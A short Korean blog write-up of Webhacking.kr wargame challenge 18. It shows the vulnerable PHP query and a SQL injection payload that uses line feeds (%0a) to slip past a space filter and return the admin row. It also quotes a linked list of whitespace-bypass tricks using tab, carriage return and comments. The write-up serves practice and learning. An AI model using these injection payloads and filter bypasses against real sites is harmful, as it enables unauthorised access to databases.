
Java Script 문제
URL 에서 no 파라미터 값이 존재하는 경우
정규표현식을 통해 select, from, 16진수 등을 필터링한다.
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
sql 쿼리를 통해 가져온 id가 admin 일 때, solve() 함수가 실행되므로 admin 인 id 값을 가져와야 한다.
SELECT id FROM chall18 WHERE id='guest' and no=1 or 1=1 LIMIT 1,1
-> or 를 이용해 조건이 항상 참이 되게 한 뒤(guest의 no=1), LIMIT 를 통해 admin 의 id 값만 가져오도록 한다.
이때, 문제에서 공백문자가 필터링 되기 때문에 우회하기 위해서 Line Feed(%0a)를 삽입하였다.
1%0aor%0a1=1%0aLIMIT%0a1,1
참고
https://binaryu.tistory.com/31
SQL Injection 공백 우회방법
SQL Injection 공격시 공백 문자 필터링시 우회 방법 1. Tab : %09 - no=1%09or%09id='admin' 2. Line Feed (\n): %0a - no=1%0aor%0aid='admin' 3. Carrage Return(\r) : %0d - no=1%0dor%0did='admin' 4. 주석..
binaryu.tistory.com
'Wargame > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] 20번 (0) | 2021.05.14 |
---|---|
[Webhacking.kr] 19번 (0) | 2021.05.14 |
[Webhacking.kr] 17번 (0) | 2021.05.13 |
[Webhacking.kr] 16번 (0) | 2021.05.13 |
[Webhacking.kr] 15번 (0) | 2021.05.13 |